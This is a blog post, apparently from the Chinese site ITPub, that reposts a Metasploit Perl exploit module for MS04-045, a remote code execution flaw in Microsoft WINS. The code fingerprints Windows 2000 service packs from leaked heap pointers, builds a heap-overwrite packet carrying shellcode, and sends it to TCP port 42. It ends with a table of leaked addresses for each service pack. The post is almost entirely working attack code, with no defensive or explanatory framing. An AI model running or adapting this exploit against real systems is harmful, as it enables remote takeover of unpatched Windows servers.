ITPub博客

首页 > Linux操作系统 > Linux操作系统 > Microsoft WINS Remote Code Execution Exploit (MS04-045)

Microsoft WINS Remote Code Execution Exploit (MS04-045)

原创 Linux操作系统 作者:coolwinds 时间:2005-01-11 19:17:49 0 删除 编辑
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

[@more@]package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;

my $advanced =
{
'BASE' => [0, 'Specify the exact address to the structure'],
'TARG' => [0, 'Specify the exact address to overwrite'],
'WHAT' => [0, 'Specify the data used to overwrite the address'],
};

my $info =
{
'Name' => 'Microsoft WINS MSO4-045 Code Execution',
'Version' => '$Revision: 1.18 $',
'Authors' => [ 'H D Moore ' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 42],
},

'Payload' =>
{
'Space' => 8000,
'MinNops' => 512,
'PrependEncoder' => "x81xc4x54xf2xffxff", # add esp, -3500
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),

'Refs' =>
[
['MSB', 'MS04-045'],
],
'Targets' =>
[
['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
'Keys' => ['wins'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret < 0) {
return $check;
}

if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}

$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{'os'} ne '?') {
my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
my $hp = length($sp) ? $vi : '';
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}

return $self->CheckCode('Safe');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');

my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}


# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}

# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{'vi'}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}

# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };

# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];

# Address of the payload on the heap, past the structure
my $code = $target->[3];

# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
$targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
$code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');



foreach my $base (@rloc) {
my ($req, $add);

# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack('V', $code) x 9;
$add .= pack('V', $targ - 0x48) x 14;

# Multiple copies are used in case things slide a little bit
$req .= $add x 10;

# Bling.
$req .= $shellcode;

# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));

# Tack on the header
my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;

# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}

$s->Send($pkt);
$self->Handler($s);
}

return;
}

# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.

sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fprint = {};

# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.

my $req =
"x00x00x00x29x00x00x78x00x00x00x00x00".
"x00x00x00x00x00x00x00x40x00x02x00x05".
"x00x00x00x00x60x56x02x01x00x1Fx6Ex03".
"x00x1Fx6Ex03x08xFEx66x03x00";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode('Connect') ];
}

$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode('Connect') ];
}

my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));


my ($os, $sp, $vi) = ('2000', '?', '?');

# Windows 2000 versions
$sp = '0' if $ptrs[3] == 0x77f8ae78;
$sp = '1' if $ptrs[3] == 0x77f81f70;
$sp = '2' if $ptrs[3] == 0x77f82680;
$sp = '3' if $ptrs[3] == 0x77f83608;
$sp = '4' if $ptrs[3] == 0x77f89640;
$sp = '4++' if $ptrs[3] == 0x77f82518;

# Probably not Windows 2000...
$os = '?' if $sp eq '?';

# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = 'NT';
$sp = '?';
}

# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;

# Store the fingerprints....
$fprint->{'os'} = $os;
$fprint->{'sp'} = $sp;
$fprint->{'vi'} = $vi;

# Probe to test vulnerability
$req = "x00x00x00x0Fx00x00x78x00". substr($res, 16, 4).
"x00x00x00x03x00x00x00x00";
$s->Send($req);
$res = $s->Recv(-1, 3);

$s->Close;

if (substr($res, 6, 1) eq "x78") {
return [1, $fprint, $self->CheckCode('Appears') ];
}

return [0, $fprint, $self->CheckCode('Safe') ];
}

1;

__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)

NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e

2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/83980/viewspace-786988/,如需转载,请注明出处,否则将追究法律责任。

上一篇: IBM不相信眼泪!
请登录后发表评论 登录
全部评论

注册时间:2012-10-23

  • 博文量
    253
  • 访问量
    947365